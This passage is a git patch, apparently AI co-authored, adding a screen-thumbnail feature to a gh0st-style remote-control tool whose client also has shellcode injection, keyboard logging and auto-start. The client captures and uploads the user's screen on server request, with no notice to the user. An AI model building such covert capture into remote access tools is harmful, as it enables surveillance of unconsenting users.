From 566f5b8d4267193b9de1db4ab33b0a80ced7f1a4 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Thu, 7 May 2026 18:17:28 +0200 Subject: [PATCH] Feature: screen preview thumbnail on host double-click Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW. Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd showing the thumbnail above the host info text, with wide-character rendering so the popup also works on non-Chinese servers. - Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto upscale on Ultra/High tiers up to min(screenWidth/4, 1280). - Client limits to 1 in-flight capture via atomic counter to defend against flood/DoS; Send2Server is already mutex-serialized. - Server validates responses by reqId only (single in-flight tip); 4s arrival timeout marks "preview unavailable" without blocking the text fallback path. Co-Authored-By: Claude Opus 4.7 (1M context) --- client/ClientDll_vs2015.vcxproj | 2 + client/ClientDll_vs2015.vcxproj.filters | 2 + client/KernelManager.cpp | 38 +++ client/ScreenPreview.cpp | 188 ++++++++++++++ client/ScreenPreview.h | 16 ++ client/ghost_vs2015.vcxproj | 2 + common/commands.h | 75 +++++- server/2015Remote/2015RemoteDlg.cpp | 162 ++++++++++-- server/2015Remote/2015RemoteDlg.h | 10 + server/2015Remote/2015Remote_vs2015.vcxproj | 2 + .../2015Remote_vs2015.vcxproj.filters | 2 + server/2015Remote/PreviewTipWnd.cpp | 243 ++++++++++++++++++ server/2015Remote/PreviewTipWnd.h | 57 ++++ server/2015Remote/context.h | 7 + server/2015Remote/stdafx.h | 1 + 15 files changed, 785 insertions(+), 22 deletions(-) create mode 100644 client/ScreenPreview.cpp create mode 100644 client/ScreenPreview.h create mode 100644 server/2015Remote/PreviewTipWnd.cpp create mode 100644 server/2015Remote/PreviewTipWnd.h diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index aaa1780..540d628 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -199,6 +199,7 @@ + @@ -241,6 +242,7 @@ + diff --git a/client/ClientDll_vs2015.vcxproj.filters b/client/ClientDll_vs2015.vcxproj.filters index 8be4571..f3c60ed 100644 --- a/client/ClientDll_vs2015.vcxproj.filters +++ b/client/ClientDll_vs2015.vcxproj.filters @@ -27,6 +27,7 @@ + @@ -70,6 +71,7 @@ + diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index b60546c..c5274e1 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -18,6 +18,7 @@ #include "auto_start.h" #include "ShellcodeInj.h" #include "KeyboardManager.h" +#include "ScreenPreview.h" #include "common/file_upload.h" #include "common/DateVerify.h" #include "common/LANChecker.h" @@ -1137,6 +1138,43 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_SCREEN_PREVIEW_REQ: { + if (ulLength < sizeof(ScreenPreviewReq)) break; + ScreenPreviewReq req; + memcpy(&req, szBuffer, sizeof(req)); + // 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆 + static std::atomic s_inFlight{0}; + if (s_inFlight.fetch_add(1) >= 1) { + s_inFlight.fetch_sub(1); + break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用" + } + // 投递到工作线程,避免阻塞 OnReceive;抓屏 + 编码可能耗几十毫秒 + std::thread([this, req]() { + struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard; + std::vector jpg; + int w = 0, h = 0; + int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h); + + std::vector pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0)); + ScreenPreviewRspHeader* hdr = reinterpret_cast(pkt.data()); + memset(hdr, 0, sizeof(*hdr)); + hdr->token = TOKEN_SCREEN_PREVIEW_RSP; + hdr->reqId = req.reqId; + hdr->status = (uint8_t)st; + hdr->format = SCREEN_PREVIEW_FMT_JPEG; + hdr->width = (uint16_t)w; + hdr->height = (uint16_t)h; + hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0); + if (st == SCREEN_PREVIEW_OK && !jpg.empty()) { + memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size()); + } + if (m_ClientObject && m_ClientObject->IsConnected()) { + m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size()); + } + }).detach(); + break; + } + case COMMAND_SCREEN_SPY: { UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; if (ulLength > 1) { diff --git a/client/ScreenPreview.cpp b/client/ScreenPreview.cpp new file mode 100644 index 0000000..52e0194 --- /dev/null +++ b/client/ScreenPreview.cpp @@ -0,0 +1,188 @@ +// ScreenPreview.cpp +#include "stdafx.h" +#include "ScreenPreview.h" +#include "../common/commands.h" // ScreenPreviewStatus + +#include +#include // IUnknown / IStream — gdiplus.h 依赖它们已声明 +#include +#pragma comment(lib, "gdiplus.lib") + +using namespace Gdiplus; + +namespace { + +// GDI+ 进程级初始化(与 Bmp2Video 互不冲突;Startup 可重入计数) +struct GdiplusBoot { + ULONG_PTR token = 0; + bool ok = false; + GdiplusBoot() + { + GdiplusStartupInput in; + ok = (GdiplusStartup(&token, &in, NULL) == Ok); + } + ~GdiplusBoot() + { + if (ok) GdiplusShutdown(token); + } +}; +static GdiplusBoot g_boot; + +int GetJpegEncoderClsid(CLSID& clsid) +{ + UINT num = 0, size = 0; + GetImageEncodersSize(&num, &size); + if (size == 0) return -1; + + std::vector buf(size); + ImageCodecInfo* info = reinterpret_cast(buf.data()); + GetImageEncoders(num, size, info); + for (UINT i = 0; i < num; ++i) { + if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) { + clsid = info[i].Clsid; + return 0; + } + } + return -1; +} + +// 抓主屏到 24bpp Bitmap,目标尺寸已等比换算。 +// 返回新分配的 Bitmap*,失败返回 nullptr。调用者负责 delete。 +Bitmap* GrabPrimaryScaled(int targetW, int targetH) +{ + HDC hScreen = GetDC(NULL); + if (!hScreen) return nullptr; + + int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN); // 主屏左上 — 仅取主屏时用 0,0 + int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN); + (void)srcX; (void)srcY; + + int srcW = GetSystemMetrics(SM_CXSCREEN); + int srcH = GetSystemMetrics(SM_CYSCREEN); + if (srcW <= 0 || srcH <= 0) { + ReleaseDC(NULL, hScreen); + return nullptr; + } + + HDC hMem = CreateCompatibleDC(hScreen); + HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH); + if (!hMem || !hBmp) { + if (hBmp) DeleteObject(hBmp); + if (hMem) DeleteDC(hMem); + ReleaseDC(NULL, hScreen); + return nullptr; + } + + HGDIOBJ oldBmp = SelectObject(hMem, hBmp); + + // 高质量缩放:HALFTONE 内插 + SetStretchBltMode(hMem, HALFTONE); + SetBrushOrgEx(hMem, 0, 0, NULL); + BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH, + hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT); + + SelectObject(hMem, oldBmp); + + Bitmap* out = nullptr; + if (bb) { + // 拷贝 HBITMAP 到 GDI+ Bitmap,避免后续释放设备 DC 影响图像 + Bitmap tmp(hBmp, NULL); + if (tmp.GetLastStatus() == Ok) { + out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB); + if (out && out->GetLastStatus() != Ok) { + delete out; + out = nullptr; + } + } + } + + DeleteObject(hBmp); + DeleteDC(hMem); + ReleaseDC(NULL, hScreen); + return out; +} + +} // namespace + +int CaptureAndEncodePreview(int maxWidth, int quality, + std::vector& out, + int& outWidth, int& outHeight) +{ + out.clear(); + outWidth = outHeight = 0; + + if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED; + if (maxWidth < 64) maxWidth = 64; + if (maxWidth > 1920) maxWidth = 1920; + if (quality < 1) quality = 1; + if (quality > 100) quality = 100; + + int srcW = GetSystemMetrics(SM_CXSCREEN); + int srcH = GetSystemMetrics(SM_CYSCREEN); + if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED; + + // 等比缩放,禁止放大 + int targetW = (srcW <= maxWidth) ? srcW : maxWidth; + int targetH = (int)((double)srcH * targetW / srcW + 0.5); + if (targetH <= 0) targetH = 1; + // 偶数对齐,JPEG 编码更高效 + targetW &= ~1; + targetH &= ~1; + if (targetW < 2) targetW = 2; + if (targetH < 2) targetH = 2; + + Bitmap* bmp = GrabPrimaryScaled(targetW, targetH); + if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED; + + CLSID clsid; + if (GetJpegEncoderClsid(clsid) != 0) { + delete bmp; + return SCREEN_PREVIEW_ENCODE_FAILED; + } + + EncoderParameters params; + params.Count = 1; + params.Parameter[0].Guid = EncoderQuality; + params.Parameter[0].Type = EncoderParameterValueTypeLong; + params.Parameter[0].NumberOfValues = 1; + ULONG q = (ULONG)quality; + params.Parameter[0].Value = &q; + + IStream* stream = nullptr; + if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) { + delete bmp; + return SCREEN_PREVIEW_ENCODE_FAILED; + } + + Status st = bmp->Save(stream, &clsid, ¶ms); + delete bmp; + + if (st != Ok) { + stream->Release(); + return SCREEN_PREVIEW_ENCODE_FAILED; + } + + HGLOBAL hMem = NULL; + if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) { + stream->Release(); + return SCREEN_PREVIEW_ENCODE_FAILED; + } + SIZE_T sz = GlobalSize(hMem); + if (sz == 0) { + stream->Release(); + return SCREEN_PREVIEW_ENCODE_FAILED; + } + + void* p = GlobalLock(hMem); + if (!p) { + stream->Release(); + return SCREEN_PREVIEW_ENCODE_FAILED; + } + out.assign((unsigned char*)p, (unsigned char*)p + sz); + GlobalUnlock(hMem); + stream->Release(); + + outWidth = targetW; + outHeight = targetH; + return SCREEN_PREVIEW_OK; +} diff --git a/client/ScreenPreview.h b/client/ScreenPreview.h new file mode 100644 index 0000000..471cde6 --- /dev/null +++ b/client/ScreenPreview.h @@ -0,0 +1,16 @@ +// ScreenPreview.h +// 屏幕预览:抓主屏 → 等比缩放 → JPEG 编码,供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。 +#pragma once + +#include + +// 抓取主屏并编码成 JPEG。 +// maxWidth 服务端期望的宽度;客户端按源屏宽度等比缩放,不会强制放大 +// quality JPEG 质量 1..100(建议 40..85) +// out 编码后的 JPEG 字节流 +// outWidth 实际编码图宽 +// outHeight 实际编码图高 +// 返回 0 表示成功;非 0 见 ScreenPreviewStatus(枚举在 commands.h) +int CaptureAndEncodePreview(int maxWidth, int quality, + std::vector& out, + int& outWidth, int& outHeight); diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index fc99489..e42775d 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -209,6 +209,7 @@ + @@ -257,6 +258,7 @@ + diff --git a/common/commands.h b/common/commands.h index 9c486aa..082449a 100644 --- a/common/commands.h +++ b/common/commands.h @@ -125,9 +125,10 @@ inline int isValid_10s() #define DLL_VERSION __DATE__ // DLL版本 // 客户端能力位 -#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输 -#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等) - // 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读 +#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输 +#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等) + // 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读 +#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图) #define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 @@ -334,6 +335,8 @@ enum { CMD_PEER_TO_PEER = 244, // P2P通信 TOKEN_CLIENTID = 245, TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck) + COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端) + TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端) }; // 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID @@ -374,6 +377,47 @@ struct ConnAuthAck { static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes"); static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes"); +// 屏幕预览:服务端按双击在线主机触发,向客户端要一张缩略图(JPEG),与浮窗一起显示。 +// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端 +// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG,预留 PNG/WebP。 +#pragma pack(push, 1) +struct ScreenPreviewReq { + uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ + uint16_t reqId; // 请求序号,用于丢弃过期响应 + uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制) + uint8_t jpegQuality; // 1..100 + uint16_t reserved; +}; // 总 8 字节 + +enum ScreenPreviewStatus { + SCREEN_PREVIEW_OK = 0, + SCREEN_PREVIEW_CAPTURE_FAILED = 1, // 抓屏失败 + SCREEN_PREVIEW_ENCODE_FAILED = 2, // 编码失败 + SCREEN_PREVIEW_NOT_SUPPORTED = 3, // 平台不支持 +}; + +enum ScreenPreviewFormat { + SCREEN_PREVIEW_FMT_JPEG = 0, + SCREEN_PREVIEW_FMT_PNG = 1, // 预留 + SCREEN_PREVIEW_FMT_WEBP = 2, // 预留 +}; + +struct ScreenPreviewRspHeader { + uint8_t token; // = TOKEN_SCREEN_PREVIEW_RSP + uint16_t reqId; // 回显请求序号 + uint8_t status; // ScreenPreviewStatus + uint8_t format; // ScreenPreviewFormat(v1 仅 JPEG) + uint16_t width; // 实际编码图宽 + uint16_t height; // 实际编码图高 + uint32_t bytes; // 图像字节数(紧随其后) + uint8_t reserved[3]; + // 后接 data[bytes] +}; // 头部 16 字节 +#pragma pack(pop) + +static_assert(sizeof(ScreenPreviewReq) == 8, "ScreenPreviewReq must be 8 bytes"); +static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes"); + enum ConnAuthStatus { CONN_AUTH_OK = 0, CONN_AUTH_BAD_SIZE = 1, // 包长度不对 @@ -970,7 +1014,7 @@ typedef struct LOGIN_INFOR { { memset(this, 0, sizeof(LOGIN_INFOR)); bToken = TOKEN_LOGIN; - sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8); + sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8 | CLIENT_CAP_SCREEN_PREVIEW); } LOGIN_INFOR& Speed(unsigned long speed) { @@ -1143,6 +1187,29 @@ inline const QualityProfile& GetQualityProfile(int level) { return g_QualityProfiles[level]; } +// 屏幕预览质量配置(与 QualityLevel 共用 RTT 阈值表,但参数维度不同:缩略图只关心 +// 编码尺寸 + JPEG 质量,没有 FPS / 算法等运动视频参数) +struct PreviewProfile { + int maxWidth; // 期望编码宽度(客户端会等比缩放,禁止放大) + int jpegQuality; // JPEG 质量 1..100 +}; + +inline const PreviewProfile& GetScreenPreviewProfile(int level) { + static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = { + { 1024, 85 }, // Ultra: 超清 (LAN/同省,4K 源屏可进一步放大到 1280) + { 800, 80 }, // High: 高清 (跨省直连) + { 640, 75 }, // Good: 标清 (同国/邻国) + { 480, 70 }, // Medium: 常规 (大陆间) + { 384, 60 }, // Low: 低清 (跨洲) + { 256, 50 }, // Minimal: 最低 (极差网络/卫星链路) + }; + if (level < 0 || level >= QUALITY_COUNT) { + static const PreviewProfile fallback = { 480, 70 }; + return fallback; + } + return g_PreviewProfiles[level]; +} + // 根据RTT获取目标质量等级 (控制端使用) inline int GetTargetQualityLevel(int rtt, int usingFRP) { // 根据模式应用不同 RTT阈值 (毫秒) diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 4906e90..c2ba46f 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -71,6 +71,7 @@ #include "FrpsForSubDlg.h" #include "PluginSettingsDlg.h" #include "TriggerSettingsDlg.h" +#include "PreviewTipWnd.h" #include "common/key.h" #include "UIBranding.h" @@ -86,6 +87,7 @@ #define TIMER_REFRESH_LIST 5 #define TIMER_STATUSBAR_UPDATE 6 #define TIMER_STATUSBAR_INIT 7 +#define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用") #define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION); #define TINY_DLL_NAME "TinyRun.dll" #define FRPC_DLL_NAME "Frpc.dll" @@ -799,6 +801,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient) ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient) ON_MESSAGE(WM_UPDATE_ACTIVEWND, UpdateUserEvent) + ON_MESSAGE(WM_PREVIEW_RESPONSE, OnPreviewResponse) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth) @@ -3039,6 +3042,12 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) if (nIDEvent == TIMER_CLOSEWND) { DeletePopupWindow(); } + if (nIDEvent == TIMER_PREVIEW_ARRIVAL) { + KillTimer(TIMER_PREVIEW_ARRIVAL); + if (m_pPreviewTip && ::IsWindow(m_pPreviewTip->GetSafeHwnd())) { + m_pPreviewTip->MarkPreviewUnavailable(); + } + } if (nIDEvent == TIMER_CLEAR_BALLOON) { KillTimer(TIMER_CLEAR_BALLOON); @@ -3354,7 +3363,10 @@ void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce) m_pFloatingTip->DestroyWindow(); SAFE_DELETE(m_pFloatingTip); + m_pPreviewTip = nullptr; + m_PreviewReqId = 0; KillTimer(TIMER_CLOSEWND); + KillTimer(TIMER_PREVIEW_ARRIVAL); } @@ -5438,6 +5450,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) case 137: // 心跳【L】 g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject); break; + case TOKEN_SCREEN_PREVIEW_RSP: { + // 屏幕预览响应:把整个包拷到堆上,转给主线程处理(IO 线程不接触 UI) + if (len < sizeof(ScreenPreviewRspHeader)) break; + auto* pkt = new std::vector(szBuffer, szBuffer + len); + if (!g_2015RemoteDlg->PostMessageA(WM_PREVIEW_RESPONSE, 0, (LPARAM)pkt)) { + delete pkt; + } + break; + } case SOCKET_DLLLOADER: {// 请求DLL【L】 auto len = ContextObject->InDeCompressedBuffer.GetBufferLength(); bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false; @@ -7558,36 +7579,141 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) CPoint pt; GetCursorPos(&pt); - // 清理旧提示 + // 清理旧提示(DeletePopupWindow 会同时清掉 m_pPreviewTip / m_PreviewReqId / 定时器) DeletePopupWindow(TRUE); - // 创建提示窗口 - m_pFloatingTip = new CWnd(); - int width = res[RES_FILE_PATH].GetLength() * 10 + 36; - width = min(max(width, 360), 800); - CRect rect(pt.x, pt.y, pt.x + width, pt.y + 120); // 宽度、高度 + // 屏幕预览触发条件:客户端支持能力位 + 当前活动窗口非 Locked/Inactive + CString activeWnd = ctx->GetClientData(ONLINELIST_LOGINTIME); + bool isIdleOrLocked = + activeWnd.Find(_T("Locked")) == 0 || activeWnd.Find(_T("Inactive")) == 0; + bool wantPreview = ctx->SupportsScreenPreview() && !isIdleOrLocked; - BOOL bOk = m_pFloatingTip->CreateEx( - WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE, - _T("STATIC"), - strText, - WS_POPUP | WS_VISIBLE | WS_BORDER | SS_LEFT | SS_NOTIFY, - rect, - this, - 0); + // 创建新预览浮窗 + WORD maxWidth = 480; + BYTE jpegQ = 70; + if (wantPreview) { + ChooseScreenPreviewParams(ctx, maxWidth, jpegQ); + } + auto* tip = new CPreviewTipWnd(); + // 项目是 MBCS(CP_ACP),浮窗内部用宽字符渲染(避免跨语言系统乱码)。 + // 这里把 strText (CStringA) 按 CP_ACP 转 wide。 + CStringW textW; + { + int wlen = MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, NULL, 0); + if (wlen > 1) { + MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, textW.GetBufferSetLength(wlen - 1), wlen); + textW.ReleaseBuffer(wlen - 1); + } + } + BOOL bOk = tip->Create(this, pt, textW, wantPreview ? maxWidth : 0); if (bOk) { - m_pFloatingTip->SetFont(GetFont()); - m_pFloatingTip->ShowWindow(SW_SHOW); - SetTimer(TIMER_CLOSEWND, 5000, nullptr); + m_pFloatingTip = tip; + m_pPreviewTip = tip; + // 整体超时:有预览 8 秒(图到达后会续命 5s),纯文本 5 秒 + SetTimer(TIMER_CLOSEWND, wantPreview ? 8000 : 5000, nullptr); + + if (wantPreview) { + // 序号 0 视为"无效",从 1 开始递增 + if (++m_PreviewReqId == 0) m_PreviewReqId = 1; + tip->SetReqId(m_PreviewReqId); + SendScreenPreviewRequest(ctx, m_PreviewReqId, maxWidth, jpegQ); + // 4 秒未收到 → 在浮窗里标"预览不可用" + SetTimer(TIMER_PREVIEW_ARRIVAL, 4000, nullptr); + } } else { - SAFE_DELETE(m_pFloatingTip); + delete tip; } } *pResult = 0; } +// 屏幕预览参数挑选:复用既有 GetTargetQualityLevel + GetScreenPreviewProfile +// RTT 阈值表与屏幕共享共用(FRP 模式阈值更宽松);超清档(Ultra/High)+ 4K/超宽屏 +// 时按 min(screenWidth/4, 1280) 自适应放大,避免高分屏被压成无信息缩略图 +void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const +{ + int ping = 0; + { + CString p = ctx->GetClientData(ONLINELIST_PING); + if (!p.IsEmpty()) ping = atoi(p.GetString()); + } + // ping 未上报(0/缺失)→ 当中等档处理,避免误判为局域网刷过大缩略图 + int rttForLevel = ping > 0 ? ping : 250; + + int level = GetTargetQualityLevel(rttForLevel, m_settings.UsingFRPProxy ? 1 : 0); + const PreviewProfile& prof = GetScreenPreviewProfile(level); + int base = prof.maxWidth; + BYTE q = (BYTE)prof.jpegQuality; + + // 4K/超宽屏自适应(仅 Ultra/High 启用,弱网档不放大保带宽) + if (level <= QUALITY_HIGH) { + CString resStr = ctx->GetAdditionalData(RES_RESOLUTION); + if (!resStr.IsEmpty()) { + int sw = 0, sh = 0; + if (_stscanf_s(resStr, _T("%dx%d"), &sw, &sh) == 2 && sw >= 2560) { + int adj = sw / 4; + if (adj > 1280) adj = 1280; + if (adj > base) base = adj; + } + } + } + + maxWidth = (WORD)base; + jpegQuality = q; +} + +void CMy2015RemoteDlg::SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality) +{ + if (!ctx) return; + ScreenPreviewReq req; + memset(&req, 0, sizeof(req)); + req.cmd = COMMAND_SCREEN_PREVIEW_REQ; + req.reqId = reqId; + req.maxWidth = maxWidth; + req.jpegQuality = jpegQuality; + ctx->Send2Client((PBYTE)&req, sizeof(req)); +} + +// 收到 TOKEN_SCREEN_PREVIEW_RSP(在主线程) +// wParam: 未使用(避免依赖 WPARAM 宽度,Win32 上 32 位会截 64 位 clientID) +// LPARAM: 指向堆分配的 std::vector*(含完整响应包:[Header|JPEG]),处理完必须 delete。 +// 校验思路:reqId 由对话框单调递增、每次双击重置 + 同时只有 1 个 in-flight tip,足以 +// 过滤过期/乱串响应,无需再叠加 clientID 校验。 +LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam) +{ + auto* pkt = reinterpret_cast*>(lParam); + if (!pkt) return 0; + std::unique_ptr> guard(pkt); + + if (pkt->size() < sizeof(ScreenPreviewRspHeader)) return 0; + const ScreenPreviewRspHeader* hdr = reinterpret_cast(pkt->data()); + if (hdr->token != TOKEN_SCREEN_PREVIEW_RSP) return 0; + + // 序号校验:和当前期待的 reqId 不符 → 过期响应,丢弃 + if (m_PreviewReqId == 0 || hdr->reqId != m_PreviewReqId) return 0; + if (!m_pPreviewTip || !::IsWindow(m_pPreviewTip->GetSafeHwnd())) return 0; + + KillTimer(TIMER_PREVIEW_ARRIVAL); + + if (hdr->status != SCREEN_PREVIEW_OK || hdr->bytes == 0 || + pkt->size() < sizeof(ScreenPreviewRspHeader) + hdr->bytes || + hdr->format != SCREEN_PREVIEW_FMT_JPEG) + { + m_pPreviewTip->MarkPreviewUnavailable(); + return 0; + } + + const BYTE* jpeg = pkt->data() + sizeof(ScreenPreviewRspHeader); + m_pPreviewTip->SetImageFromJpeg(jpeg, hdr->bytes); + + // 图到达后续命 5 秒 + KillTimer(TIMER_CLOSEWND); + SetTimer(TIMER_CLOSEWND, 5000, nullptr); + return 0; +} + void CMy2015RemoteDlg::OnOnlineUnauthorize() { diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 5068015..fb45046 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -230,6 +230,10 @@ public: VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength); // 显示用户上线信息 CWnd* m_pFloatingTip = nullptr; + // 屏幕预览:m_pFloatingTip 实际是 CPreviewTipWnd 时这里有同一指针的有类型副本, + // 用于在收到 JPEG 后调用 SetImageFromJpeg;DeletePopupWindow 释放时一并置空。 + class CPreviewTipWnd* m_pPreviewTip = nullptr; + WORD m_PreviewReqId = 0; // 当前期待的预览响应序号;0 = 无待响应 // 记录 clientID(心跳更新) std::set m_DirtyClients; // 待处理的上线/下线事件(批量更新减少闪烁) @@ -434,6 +438,12 @@ public: afx_msg void OnWhatIsThis(); afx_msg void OnOnlineAuthorize(); void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); + // 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数;4K/超宽屏在 LAN 档自适应放大 + void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const; + // 发起预览请求;reqId 应与 m_PreviewReqId 同步 + void SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality); + // 收到 TOKEN_SCREEN_PREVIEW_RSP(在主线程处理) + afx_msg LRESULT OnPreviewResponse(WPARAM wParam, LPARAM lParam); afx_msg void OnOnlineUnauthorize(); afx_msg void OnToolRequestAuth(); afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 53a5ce6..74e7ac2 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -338,6 +338,7 @@ + @@ -388,6 +389,7 @@ NotUsing + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index fd0ebd1..d82bacc 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -81,6 +81,7 @@ + @@ -185,6 +186,7 @@ + diff --git a/server/2015Remote/PreviewTipWnd.cpp b/server/2015Remote/PreviewTipWnd.cpp new file mode 100644 index 0000000..d18caf7 --- /dev/null +++ b/server/2015Remote/PreviewTipWnd.cpp @@ -0,0 +1,243 @@ +// PreviewTipWnd.cpp +#include "stdafx.h" +#include "PreviewTipWnd.h" + +#include // IUnknown / IStream — gdiplus.h 依赖它们已声明 +#include +#pragma comment(lib, "gdiplus.lib") + +using namespace Gdiplus; + +namespace { +constexpr int PADDING = 8; +constexpr int IMAGE_TEXT_GAP = 6; // 图像与下方文本之间的留白 +constexpr int MIN_TEXT_W = 360; +constexpr int MAX_TEXT_W = 720; // 文本可换行宽度上限(垂直布局,宽度不再受图像挤压) +constexpr int MAX_IMAGE_W = 960; // 显示上限(防止 LAN 档 1280 的 JPEG 把窗口顶到屏幕外) +constexpr int LOADING_W = 480; // 占位的最小宽度(图像未到达时) +constexpr int LOADING_H = 270; +} // namespace + +BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd) + ON_WM_PAINT() + ON_WM_ERASEBKGND() +END_MESSAGE_MAP() + +CPreviewTipWnd::CPreviewTipWnd() = default; + +CPreviewTipWnd::~CPreviewTipWnd() +{ + // m_image 通过 unique_ptr 自动释放 +} + +BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW) +{ + m_text = text; + 